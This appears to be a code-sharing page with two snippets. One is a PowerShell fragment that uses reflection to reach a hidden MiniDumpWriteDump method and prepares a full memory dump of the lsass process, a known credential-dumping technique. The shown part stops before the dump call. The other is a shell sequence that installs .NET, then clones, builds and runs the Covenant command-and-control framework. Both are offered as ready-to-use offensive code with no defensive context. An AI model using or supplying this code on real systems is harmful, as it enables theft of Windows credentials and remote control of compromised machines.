This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
$DumpFilePath = "C:\temp\file.bin" | |
$WER = [PSObject].Assembly.GetType("System.Management.Automation.WindowsErrorReporting") | |
$WERNativeMethods = $WER.GetNestedType("NativeMethods", "NonPublic") | |
$Flags = [Reflection.BindingFlags] "NonPublic, Static" | |
$MiniDumpWriteDump = $WERNativeMethods.GetMethod("MiniDumpWriteDump", $Flags) | |
$MiniDumpWithFullMemory = [UInt32] 2 | |
$Process = Get-Process lsass | |
$ProcessId = $Process.Id | |
$ProcessHandle = $Process.Handle |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
wget -q https://packages.microsoft.com/config/ubuntu/19.04/packages-microsoft-prod.deb -O packages-microsoft-prod.deb | |
sudo dpkg -i packages-microsoft-prod.deb | |
sudo apt-get update | |
sudo apt-get install apt-transport-https | |
sudo apt-get update | |
sudo apt-get install dotnet-sdk-2.2 | |
git clone --recurse-submodules https://github.com/cobbr/Covenant | |
cd Covenant/Covenant | |
dotnet build | |
dotnet run |
NewerOlder